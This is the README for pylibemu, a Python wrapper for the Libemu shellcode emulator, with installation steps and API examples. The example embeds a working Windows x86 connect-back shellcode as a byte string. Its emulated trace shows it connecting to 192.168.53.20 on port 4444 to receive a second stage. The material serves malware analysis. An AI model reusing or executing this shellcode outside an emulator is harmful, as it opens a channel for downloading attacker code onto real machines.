buffer/pylibemuA Libemu Cython wrapper
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Pylibemu is a wrapper for the Libemu library (https://github.com/buffer/libemu).
Pylibemu > 0.5.8 does not include Libemu submodule anymore so you are required to install Libemu before installing Pylibemu.
To install Libemu, just execute:
.. code-block:: console
$ git clone https://github.com/buffer/libemu.git
$ cd libemu
$ autoreconf -v -i
$ ./configure
$ make
$ sudo make install
Once Libemu is correctly installed, just execute:
.. code-block:: console
$ sudo pip install pylibemu
Pylibemu 0.5.8 is the last version supporting Python 2.
To install Pylibemu, just execute:
.. code-block:: console
$ sudo pip install pylibemu==0.5.8
.. code-block:: pycon
>>> import pylibemu
>>> shellcode = b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d"
>>> shellcode += b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34"
>>> shellcode += b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0"
>>> shellcode += b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9"
>>> shellcode += b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c"
>>> shellcode += b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
>>> shellcode += b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32"
>>> shellcode += b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53"
>>> shellcode += b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02"
>>> shellcode += b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6"
>>> shellcode += b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3"
>>> shellcode += b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50"
>>> shellcode += b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6"
>>> emulator = pylibemu.Emulator()
>>> offset = emulator.shellcode_getpc_test(shellcode)
>>> offset
4
>>> emulator.prepare(shellcode, offset)
>>> emulator.test()
0
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x0012fe90 =>
= "ws2_32";
) = 0x71a10000;
int WSAStartup (
WORD wVersionRequested = 2;
LPWSADATA lpWSAData = 1244272;
) = 0;
SOCKET WSASocket (
int af = 2;
int type = 1;
int protocol = 0;
LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
GROUP g = 0;
DWORD dwFlags = 0;
) = 66;
int connect (
SOCKET s = 66;
struct sockaddr_in * name = 0x0012fe88 =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 339060928 (host=192.168.53.20);
};
char sin_zero = " ";
};
int namelen = 16;
) = 0;
int recv (
SOCKET s = 66;
char * buf = 0x0012fe88 =>
none;
int len = 3072;
int flags = 0;
) = 3072;
>>> emulator.emu_profile_truncated
False
The new Emulator method 'run' was introduced in Pylibemu 0.1.3 which allows not to
worry about details. Moreover the new Emulator attribute offset allows to get such
information if needed.
.. code-block:: pycon
>>> emulator = pylibemu.Emulator()
>>> emulator.run(shellcode)
0
>>> emulator.offset
4
>>> print emulator.emu_profile_output
HMODULE LoadLibraryA (
LPCTSTR = 0x01a3f990 =>
= "ws2_32";
) = 1906376704;
int WSAStartup (
WORD wVersionRequested = 2;
LPWSADATA lpWSAData = 1244272;
) = 0;
SOCKET WSASocket (
int af = 2;
int type = 1;
int protocol = 0;
LPWSAPROTOCOL_INFO lpProtocolInfo = 0;
GROUP g = 0;
DWORD dwFlags = 0;
) = 66;
int connect (
SOCKET s = 66;
struct sockaddr_in * name = 0x0012fe88 =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 339060928 (host=192.168.53.20);
};
char sin_zero = " ";
};
int namelen = 16;
) = 0;
int recv (
SOCKET s = 66;
char * = 0x01a40870 =>
none;
int len = 3072;
int flags = 0;
) = 3072;
>>> emulator.emu_profile_truncated
False
The Emulator accepts the optional parameter output_size which defines how much memory
will be reserved for storing the emulation profile dump. By default, its size is 1MB but
it be can changed in two possible ways
.. code-block:: pycon
>>> emulator = pylibemu.Emulator(1024)
>>> emulator = pylibemu.Emulator()
>>> emulator.set_output_size(1024)
If the reserved memory is not enough to contain the entire dump, the dump will be truncated
and the Emulator attribute emu_profile_truncated will be set to True. This approach is
needed in order not to penalize performances while analyzing some shellcodes which may produce
several MBs dumps (such as the Metasploit windows/download_exec). If the entire dump is needed
a really simple approach could be to check the emu_profile_truncated attribute after the
shellcode emulation test, increase the reserved memory through the Emulator set_output_size
method and subsequently run the shellcode emulation test again as shown above.
Copyright (C) 2011-2023 Angelo Dell'Aera [email protected]
License: GNU General Public License, version 2